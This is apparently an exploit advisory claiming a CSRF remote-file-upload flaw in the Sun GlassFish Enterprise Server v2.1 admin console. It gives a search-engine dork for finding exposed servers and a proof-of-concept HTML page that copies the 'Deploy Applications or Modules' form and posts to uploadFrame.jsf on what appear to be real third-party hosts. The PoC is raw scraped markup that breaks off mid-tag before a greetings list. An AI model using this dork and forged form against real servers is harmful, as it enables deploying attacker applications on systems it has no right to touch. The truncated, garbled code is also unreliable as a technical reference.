====================================================================================================================================
| # Title : Sun GlassFish Enterprise Server v2.1 CSRF RFU Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : windows 10 Français V.(Pro) |
| # Vendor : http://www.oracle.com/technetwork/middleware/glassfish/overview/index.html |
| # Dork : "Directory Listing Sun GlassFish Enterprise Server v2.1" |
====================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine
[+] save in poc.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/GUIRoleTaxonomy#" xmlns:waistate="http://www.w3.org/2005/07/aaa">
<head>
<meta content="no-cache" http-equiv="Pragma" />
<meta content="no-cache" http-equiv="Cache-Control" />
<meta content="no-store" http-equiv="Cache-Control" />
<meta content="max-age=0" http-equiv="Cache-Control" />
<meta content="1" http-equiv="Expires" />
<title>Deploy Applications or Modules</title>
<link rel="stylesheet" type="text/css" href="http://ear30.de/theme/com/sun/webui/jsf/suntheme/css/css_master.css" />
<script type="text/javascript">
djConfig={
"isDebug": false,
"parseWidgets": false,
"debugAtAllCosts": false
};
</script>
<script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/dojo/dojo.js"></script>
<script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/json/json.js"></script>
<script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/prototype/prototype.js"></script>
<script type="text/javascript" src="http://titel-berlin.de/theme/META-INF/com_sun_faces_ajax.js"></script>
<script type="text/javascript">
dojo.hostenv.setModulePrefix("webui.suntheme", "http://ear30.de/theme/com/sun/webui/jsf/suntheme/javascript");
dojo.require('webui.suntheme.*');
</script>
<script type="text/javascript" src="http://titel-berlin.de/javax.faces.resource/jsf.js.jsf?ln=javax.faces"></script><script id="sun_script187" type="text/javascript" src="/resource/common/js/adminjsf.js"></script>
</head>
<body id="sun_body188" onload="" onunload="">
<div id="content" style="padding-left: 5px; padding-right: 5px;"><form id="form" class="form" method="post" action="http://ear30.de/common/applications/uploadFrame.jsf" enctype="application/x-www-form-urlencoded">
<div id="form:title"><table border="0" width="100%" cellpadding="0" cellspacing="0"><tr valign="bottom"><td nowrap="nowrap" valign="bottom"><div class="TtlTxtDiv_sun4"><h1 class="TtlTxt_sun4">Deploy Applications or Modules</h1></div></td><td align="right" nowrap="nowrap" valign="bottom"><div class="TtlBtnDiv_sun4"><span id="form:title:topButtons"><input id="form:title:topButtons:uploadButton" name="form:title:topButtons:uploadButton" class="Btn1_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" onclick="javascript:
if(getTextElement('form:sheet1:section1:prop1:action').value=='client') {
result = (admingui.deploy.checkFileInputRequired('form:sheet1:section1:prop1:fileupload', ''));
} else {
result = (checkRequired('form:sheet1:section1:prop1:dirPath', ''));
}
if (result == true) {
if (guiValidate('','','')){
disableAllButtons();
return submitAndDisable(this, 'Processing...', '_self');
}
}
return false;" type="submit" value=" OK " /><script type="text/javascript">
webui.suntheme.button.init({
"id": "form:title:topButtons:uploadButton",
"icon": false,
"secondary": false,
"disabled": false,
"mini": false
});</script>
<input id="form:title:topButtons:cancelButton" name="form:title:topButtons:cancelButton" class="Btn2_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" onclick="top.admingui.ajax.loadPage({url:'/common/applications/applications.jsf?name='}); return false;" type="submit" value="Cancel" /><script type="text/javascript">
webui.suntheme.button.init({
"id": "form:title:topButtons:cancelButton",
"icon": false,
"secondary": true,
"disabled": false,
"mini": false
});</script>
</span></div></td></tr></table><table border="0" width="100%" cellpadding="0" cellspacing="0"><tr><td><div class="TtlHlpDiv_sun4"><div class="inlinePageHelp_sun4">Specify the location of the application or module to deploy. An application can be in a packaged file or specified as a directory.</div></div></td></tr></table></div><div id="form:sheet1" class="PrpSht_sun4"><div id="sheet1_legend" align="right" class="ConRqdDiv_sun4 LblRqdDiv_sun4"><img id="sheet1_legend:sheet1_legend_legendImage" src="/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Asterisk" height="14" width="7" border="0" /> Indicates required field</div><a id="_section1" name="_section1"></a><div id="form:sheet1:section1" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:sheet1:section1:prop1"><td valign="top" align="left"><div class="ConTblCl1Div_sun4"><label id="form:sheet1:section1:prop1:prop1_label" for="form:sheet1:section1:prop1:uploadRdBtn" class="LblLev2Txt_sun4">
Location:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:sheet1:section1:prop1:uploadRdBtn_span" class="RbSpn_sun4"><input type="radio" id="form:sheet1:section1:prop1:uploadRdBtn" name="uploadRdBtn" checked="checked" value="client" onclick="admingui.deploy.uploadRdBtnAction('form:sheet1:section1:prop1:dirPath','form:sheet1:section1:prop1:dirSelectBtn','form:sheet1:section1:prop1:filSelectBtn','form:sheet1:section1:prop1:fileupload','form:sheet1:section1:prop1:action');" /><label id="form:sheet1:section1:prop1:uploadRdBtn:uploadRdBtn_label" for="form:sheet1:section1:prop1:uploadRdBtn" class="RbLbl_sun4 LblLev3Txt_sun4">
Packaged File to Be Uploaded to the Server
</label></span><br /><input type="file" size="50" id="form:sheet1:section1:prop1:fileupload" name="form:sheet1:section1:prop1:fileupload" onchange="javascript:admingui.deploy.setFieldValue('form:other:psection:nameProp:appName', this.value, 'form:sheet1:sun_propertySheetSection178:type', 'form:sheet1:sun_propertySheetSection178:type:appType', 'form:war:psection:cxp:ctx', 'form:sheet1:section1:prop1:extension', window, ',war,ear,appClient,rar,ejb,jruby,other');" class="TxtFld_sun4" style="margin-left: 17pt" /><script type="text/javascript">
webui.suntheme.upload.setEncodingType('form:sheet1:section1:prop1:fileupload');
</script>
<input id="form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" name="form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam" value="form:sheet1:section1:prop1:fileupload" type="hidden" /><br /><br/><br/><span id="form:sheet1:section1:prop1:fileChooseRdBtn_span" class="RbSpn_sun4"><input type="radio" id="form:sheet1:section1:prop1:fileChooseRdBtn" name="uploadRdBtn" value="serverSide" onclick="admingui.deploy.fileChooseAction('form:sheet1:section1:prop1:dirPath','form:sheet1:section1:prop1:dirSelectBtn','form:sheet1:section1:prop1:filSelectBtn','form:sheet1:section1:prop1:fileupload','form:sheet1:section1:prop1:action')" /><label id="form:sheet1:section1:prop1:fileChooseRdBtn:fileChooseRdBtn_label" for="form:sheet1:section1:prop1:fileChooseRdBtn" class="RbLbl_sun4 LblLev3Txt_sun4">
Local Packaged File or Directory That Is Accessible from the Enterprise Server
</label></span><br /><input type="text" size="50" id="form:sheet1:section1:prop1:dirPath" name="form:sheet1:section1:prop1:dirPath" onchange="javascript:admingui.deploy.setFieldValue('form:other:psection:nameProp:appName', this.value, 'form:sheet1:sun_propertySheetSection178:type', 'form:sheet1:sun_propertySheetSection178:type:appType', 'form:war:psection:cxp:ctx', 'form:sheet1:section1:prop1:extension', window, ',war,ear,appClient,rar,ejb,jruby,other'); " class="TxtFld_sun4" style="margin-left: 17pt" value="" /><input id="form:sheet1:section1:prop1:filSelectBtn" name="form:sheet1:section1:prop1:filSelectBtn" class="Btn2Dis_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" disabled="disabled" onclick="javascript: var win = window.open('/common/applications/fileChooser.jsf?dirPathId=form:sheet1:section1:prop1:dirPath&appNameId=form:other:psection:nameProp:appName&ctxRootId=form:war:psection:cxp:ctx&typeId=form:sheet1:sun_propertySheetSection178:type:appType&extensionId=form:sheet1:section1:prop1:extension&dropDownProp=form:sheet1:sun_propertySheetSection178:type', 'fileChooserPopup', 'height=580, width=650, top='+((screen.height - (screen.height/1.618))-(500/2))+',left='+((screen.width-650)/2)+', scrollbars, resizable');win.focus(); return false" type="submit" value="Browse Files..." /><script type="text/javascript">
webui.suntheme.button.init({
"id": "form:sheet1:section1:prop1:filSelectBtn",
"icon": false,
"secondary": true,
"disabled": true,
"mini": false
});</script>
<input id="form:sheet1:section1:prop1:dirSelectBtn" name="form:sheet1:section1:prop1:dirSelectBtn" class="Btn2Dis_sun4" onblur="return this.myonblur();" onfocus="return this.myonfocus();" onmouseout="return this.myonmouseout();" onmouseover="return this.myonmouseover();" disabled="disabled" onclick="javascript: var win = window.open('/common/applications/fileChooser.jsf?folderOnly=true&dirPathId=form:sheet1:section1:prop1:dirPath&appNameId=form:other:psection:nameProp:appName&ctxRootId=form:war:psection:cxp:ctx&typeId=form:sheet1:sun_propertySheetSection178:type:appType&extensionId=form:sheet1:section1:prop1:extension&dropDownProp=form:sheet1:sun_propertySheetSection178:type', 'fileChooserPopup', 'height=580, width=650, top='+((screen.height - (screen.height/1.618))-(500/2))+',left='+((screen.width-650)/2)+', scrollbars, resizable');win.focus(); return false" type="submit" value="Browse Folders..." /><script type="text/javascript">
webui.suntheme.button.init({
"id": "form:sheet1:section1:prop1:dirSelectBtn",
"icon": false,
"secondary": true,
"disabled": true,
"mini": false
});</script>
<input type="text" size="20" id="form:sheet1:section1:prop1:extension" name="form:sheet1:section1:prop1:extension" class="hidden_sun4 TxtFld_sun4" value="" /><input type="text" size="20" id="form:sheet1:section1:prop1:action" name="form:sheet1:section1:prop1:action" class="hidden_sun4 TxtFld_sun4" value="client" /></div></td></tr></table></div></div><a id="_sun_propertySheetSection178" name="_sun_propertySheetSection178"></a><div class="ConLin_sun4"><img id="form:sheet1:sun_propertySheetSection178:sun_propertySheetSection178_dot1" src="/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="1" width="1" border="0" /></div><div id="form:sheet1:sun_propertySheetSection178" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:sheet1:sun_propertySheetSection178:type"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:sheet1:sun_propertySheetSection178:type:type_label" for="form:sheet1:sun_propertySheetSection178:type:appType" class="LblLev2Txt_sun4">
Type:
<img id="form:sheet1:sun_propertySheetSection178:type:type_label:type_label_required" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection178:type:appType" name="form:sheet1:sun_propertySheetSection178:type:appType" size="1" onchange="javascript:admingui.deploy.showPropertySheet(this.value, window, 'form:other:psection:nameProp:appName', 'form:war:psection:cxp:ctx', ',war,ear,appClient,rar,ejb,jruby,other' );webui.suntheme.dropDown.changed('form:sheet1:sun_propertySheetSection178:type:appType'); return false;">
<option class="MnuStdOptSel_sun4" value="" selected="selected"></option>
<option class="MnuStdOpt_sun4" value="war">Web Application</option>
<option class="MnuStdOpt_sun4" value="ear">Enterprise Application</option>
<option class="MnuStdOpt_sun4" value="appClient">Application Client</option>
<option class="MnuStdOpt_sun4" value="rar">Connector Module</option>
<option class="MnuStdOpt_sun4" value="ejb">EJB Jar</option>
<option class="MnuStdOpt_sun4" value="jruby">Ruby Application</option>
<option class="MnuStdOpt_sun4" value="other">Other</option>
</select>
</div></td></tr></table></div></div></div><div id="form:appClient" class="hidden_sun4 PrpSht_sun4"><img id="j_id2" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="20" width="1" border="0" /><a id="_psection" name="_psection"></a><div id="form:appClient:psection" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:appClient:psection:nameProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:nameProp:nameProp_label" for="form:appClient:psection:nameProp:appName" class="LblLev2Txt_sun4">
Application Name:
<img id="form:appClient:psection:nameProp:nameProp_label:nameProp_label_required" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:appClient:psection:nameProp:appName" name="form:appClient:psection:nameProp:appName" onchange="javascript: setAppName('form:other:psection:nameProp:appName', this.value, window)" class="required TxtFld_sun4" value="" /></div></td></tr><tr id="form:appClient:psection:v2"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:v2:v2_label" for="form:appClient:psection:v2:ver2" class="LblLev2Txt_sun4">
Run Verifier:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:v2:ver2_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:v2:ver2" name="form:appClient:psection:v2:ver2" value="true" /><label id="form:appClient:psection:v2:ver2:ver2_label" for="form:appClient:psection:v2:ver2" class="CbLbl_sun4 LblLev3Txt_sun4">
Enabled
</label></span><div id="form:appClient:psection:v2:v2_helpText" class="inlineFieldHelp_sun4"> </div></div></td></tr><tr id="form:appClient:psection:force"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:force:force_label" for="form:appClient:psection:force:force" class="LblLev2Txt_sun4">
Force Redeploy:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:force:force_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:force:force" name="form:appClient:psection:force:force" value="true" /></span><div id="form:appClient:psection:force:force_helpText" class="inlineFieldHelp_sun4">Force redeployment if this application is already deployed. </div></div></td></tr><tr id="form:appClient:psection:jw"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:jw:jw_label" for="form:appClient:psection:jw:jwt" class="LblLev2Txt_sun4">
Java Web Start:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:appClient:psection:jw:jwt_span" class="CbSpn_sun4"><input type="checkbox" id="form:appClient:psection:jw:jwt" name="form:appClient:psection:jw:jwt" value="true" /><label id="form:appClient:psection:jw:jwt:jwt_label" for="form:appClient:psection:jw:jwt" class="CbLbl_sun4 LblLev3Txt_sun4">
Enabled
</label></span><div id="form:appClient:psection:jw:jw_helpText" class="inlineFieldHelp_sun4"> </div></div></td></tr><tr id="form:appClient:psection:descriptionProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:appClient:psection:descriptionProp:descriptionProp_label" for="form:appClient:psection:descriptionProp:description" class="LblLev2Txt_sun4">
Description:
</label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:appClient:psection:descriptionProp:description" name="form:appClient:psection:descriptionProp:description" class="TxtFld_sun4" value="" /><div id="form:appClient:psection:descriptionProp:descriptionProp_helpText" class="inlineFieldHelp_sun4"> </div></div></td></tr></table></div></div></div><div id="form:ear" class="hidden_sun4 PrpSht_sun4"><img id="j_id3" src="http://titel-berlin.de/theme/com/sun/webui/jsf/suntheme/images/other/dot.gif" alt="" height="20" width="1" border="0" /><a id="_psection" name="_psection"></a><div id="form:ear:psection" class="ConFldSet_sun4"><div class="ConFldSetDiv_sun4"><table border="0" cellspacing="0" cellpadding="0" title=""><tr id="form:ear:psection:nameProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:nameProp:nameProp_label" for="form:ear:psection:nameProp:appName" class="LblLev2Txt_sun4">
Application Name:
<img id="form:ear:psection:nameProp:nameProp_label:nameProp_label_required" src="/theme/com/sun/webui/jsf/suntheme/images/other/required.gif" alt="Required" height="14" width="7" border="0" /></label></div></td><td><div class="ConTblCl2Div_sun4"><input type="text" size="40" id="form:ear:psection:nameProp:appName" name="form:ear:psection:nameProp:appName" onchange="javascript: setAppName('form:other:psection:nameProp:appName', this.value, window)" class="required TxtFld_sun4" value="" /></div></td></tr><tr id="form:ear:psection:vsProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:vsProp:vsProp_label" for="form:ear:psection:vsProp:vs" class="LblLev2Txt_sun4">
Virtual Servers:
</label></div></td><td><div class="ConTblCl2Div_sun4"><select class="Lst_sun4" id="form:ear:psection:vsProp:vs" name="form:ear:psection:vsProp:vs" size="4" multiple="multiple" onchange="webui.suntheme.listbox.changed('form:ear:psection:vsProp:vs'); return false;">
<option class="LstOptSel_sun4" value="" selected="selected"></option>
<option class="LstOpt_sun4" value="server">server</option>
</select>
<div id="form:ear:psection:vsProp:vsProp_helpText" class="inlineFieldHelp_sun4">Associates an Internet domain name with a physical server </div></div></td></tr><tr id="form:ear:psection:enableProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:enableProp:enableProp_label" for="form:ear:psection:enableProp:sun_checkbox192" class="LblLev2Txt_sun4">
Status:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:enableProp:sun_checkbox192_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:enableProp:sun_checkbox192" name="form:ear:psection:enableProp:sun_checkbox192" checked="checked" value="true" /><label id="form:ear:psection:enableProp:sun_checkbox192:sun_checkbox192_label" for="form:ear:psection:enableProp:sun_checkbox192" class="CbLbl_sun4 LblLev3Txt_sun4">
Enabled
</label></span><div id="form:ear:psection:enableProp:enableProp_helpText" class="inlineFieldHelp_sun4"> </div></div></td></tr><tr id="form:ear:psection:precmplProp"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:precmplProp:precmplProp_label" for="form:ear:psection:precmplProp:precompileJSP" class="LblLev2Txt_sun4">
Precompile JSPs:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:precmplProp:precompileJSP_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:precmplProp:precompileJSP" name="form:ear:psection:precmplProp:precompileJSP" value="true" /><label id="form:ear:psection:precmplProp:precompileJSP:precompileJSP_label" for="form:ear:psection:precmplProp:precompileJSP" class="CbLbl_sun4 LblLev3Txt_sun4">
Enabled
</label></span><div id="form:ear:psection:precmplProp:precmplProp_helpText" class="inlineFieldHelp_sun4">Precompile JSPs, deploy only resulting class files </div></div></td></tr><tr id="form:ear:psection:v2"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:psection:v2:v2_label" for="form:ear:psection:v2:ver2" class="LblLev2Txt_sun4">
Run Verifier:
</label></div></td><td><div class="ConTblCl2Div_sun4"><span id="form:ear:psection:v2:ver2_span" class="CbSpn_sun4"><input type="checkbox" id="form:ear:psection:v2:ver2" name="form:ear:psection:v2:ver2" value="true" /><label id="form:ear:psection:v2:ver2:ver2_label" for="form:ear:psection:v2:ver2" class="CbLbl_sun4 LblLev3Txt_sun4">
Enabled
</label></span><div id="form:ear:psection:v2:v2_helpText" class="inlineFieldHelp_sun4"> </div></div></td></tr><tr id="form:ear:psection:force"><td valign="top" nowrap="nowrap" align="left"><div class="ConTblCl1Div_sun4"><label id="form:ear:pse
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
|
=======================================================================================================================================
